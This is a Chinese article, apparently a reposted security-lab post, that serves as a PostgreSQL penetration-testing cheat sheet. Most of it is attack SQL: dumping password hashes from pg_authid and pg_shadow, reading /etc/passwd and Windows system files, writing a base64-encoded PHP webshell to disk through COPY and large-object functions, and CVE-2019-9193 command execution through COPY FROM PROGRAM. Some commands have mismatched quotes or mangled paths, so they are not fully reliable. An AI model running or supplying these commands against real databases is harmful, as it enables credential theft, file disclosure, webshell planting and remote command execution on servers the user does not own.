信息搜集
1、查询用户密码
Select rolname,rolpassword from pg_authid;
2、查询是否为管理员
SELECT current_setting('is_superuser');
3、查版本
select version();
4、查服务器ip地址
select inet_server_addr()
5、查询数据库用户密码
(1)SELECT usename, passwd FROM pg_shadow;
(2)Select rolname,rolpassword from pg_authid
6、查询当前加密方式
SELECT name,setting,source,enumvals FROM pg_settings WHERE name = 'password_encryption';
PostgresSQL默认以md5加密,加密方式:‘md5’+md5(password+username)
读文件
官方文档显示内置的通用文件访问函数如下:
这几个函数提供了对数据库服务器所在机器上的文件的本地访问。只有那些在数据库集簇目录和log_directory目录中的文件可以访问。使用相对路径访问集簇目录里面的文件,以及匹配 log_directory配置设置的路径访问日志文件。只有超级用户才能使用这些函数。
名称 |
返回类型 |
描述 |
pg_ls_dir(dirname text [, missing_ok boolean, include_dot_dirs boolean]) |
setof text |
列出目录内容。 |
pg_read_file(filename text [, offset bigint, length bigint [, missing_ok boolean] ]) |
text |
返回文本文件的内容。 |
pg_read_binary_file(filename text [, offset bigint, length bigint [, missing_ok boolean] ]) |
bytea |
返回一个文件的内容。 |
pg_stat_file(filename text[, missing_ok boolean]) |
record |
返回文件信息。 |
方法一
通过pg_read_file函数读文件,官方对于pg_read_file函数的解释是:pg_read_file会返回一个文本文件的一部分,从给定的offset开始,返回最多length字节(如果先到达文件末尾则会稍短)。如果offset为负,它相对于文件的末尾。如果offset和length被忽略,整个文件都被返回。从文件中读的字节被使用服务器编码解释成一个字符串;如果它们在编码中不合法则抛出一个错误。
(1)select pg_read_file('/etc/passwd’);
(2)select/**/PG_READ_FILE($$/etc/passwd$$)
Tips:老版本PostgreSQL ,pg_read_file 不允许使用绝对路径。错误如下:
方法二
过程:创建表=>复制文件内容=>读取表
缺点:会产生大量表、一个表名只能使用一次
COPY:官方文档解释COPY在PostgreSQL表和文件之间交换数据。COPY TO把一个表的所有内容都拷贝到一个文件,而COPY FROM从一个文件里拷贝数据到一个表里(把数据附加到表中已经存在的内容里)。COPY TO还能拷贝SELECT查询的结果。
create table MOD5(t TEXT);
copy MOD5 from 'C:WindowsSystem32configSOFTWARE’;
select * from MOD5 limit 1 offset 0;
方法三
过程:操作大对象读文件,lo_import 允许指定文件系统路径。该文件将被读取并加载到一个大对象中,并返回该对象的 OID。
lo_import:该函数是内置函数,可以将系统上的文件以二进制形式导入到数据库中。对应的还有lo_export等函数。
Select lo_import('C:/windows/system32/drivers/etc/hosts',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a
复制-->解码
写文件
方法一
(1)常规写入
刚才提到的copy函数,通过select结果在文件之间交换数据,利用这一特性写shell。
COPY (select '') to '/tmp/shell.php';
(2)写base64的shell
COPY (select convert_from(decode('Jzw/cGhwIHBocGluZm8oKTs/Pg==','base64'),'utf-8')) to '/tmp/shell.php';
(3)写shell变形
这种方式主要是利用刚才提到的copy函数可以在表和文件之间交换数据这一特性。将shell存入表中写入文件,再通过copy写入shell。
create table pwn (t TEXT);
insert into pwn(t) values ('');
select * from pwn;
copy pwn(t) to '/tmp/1ogin.php';
drop table pwn;
方法二
通过lo_export与pg_largeobject写shell
pg_largeobject:官方文档提到,pg_largeobject表保存那些标记着"大对象"的数据。一个大对象是使用其创建时分配的 OID 标识的。每个大对象都分解成足够小的小段或者 "页面"以便以行的形式存储在pg_largeobject里。每页的数据定义为LOBLKSIZE(目前是BLCKSZ/4或者通常是2K字节)。
名字 |
类型 |
描述 |
loid |
oid |
包含本页的大对象的标识符 |
pageno |
int4 |
本页在其大对象数据中的页码从零开始计算 |
data |
bytea |
存储在大对象中的实际数据。这些数据绝不会超过LOBLKSIZE字节,而且可能更少。 |
(1)记下生成的lo_creat ID
select lo_creat(-1);
(2)替换lo_creat ID
INSERT INTO pg_largeobject(loid, pageno, data) values (26668, 0, decode(Jzw/cGhwIHBocGluZm8oKTs/Pg==‘, ’base64’)); #操作大对象
select lo_export(26668, '/tmp/1ogin.php’); #操作大对象
方法三、分块写入
因为pg_largeobject存在每页的数据2K左右的限制,所以我们可以使用这种方式分块写shell。
lo_put是操作大对象的内置函数。
函数 |
返回类型 |
描述 |
lo_put(loid oid, offset bigint, str bytea) |
void |
以给定的偏移量写入数据。 |
select lo_create(11116);
select lo_put(11116,0,'Jzw/cGhwIHBoc');
select lo_put(11116,9,'GluZm8oKTs/Pg==');
select lo_from_bytea(11141,decode(encode(lo_get(11116),'escape'),'base64'));
select lo_export(11141,'/tmp/1ogin.php');
SELECT lo_unlink(11141);
CVE-2019-9193_PostgreSQL_RCE
9.3版本增加了“COPY TO/FROM PROGRAM”功能。该功能允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。
利用条件:
1、版本9.3-11.2
2、超级用户或者pg_read_server_files组中的任何用户
利用过程:
创建表 cmd_exec-->执行命令并将结果存储在表中-->在表中查询执行结果。
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM ‘uname -a’
SELECT * FROM cmd_exec;
以下是遇到过的问题:
一、环境问题
COPY语句使用了PostgreSQL中未实现的PROGRAM clause扩展语法导致。
二、权限/其它问题
需根据具体情况进行判断
原文始发于微信公众号(YongYe 安全实验室):PostgreSQL常规测试方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论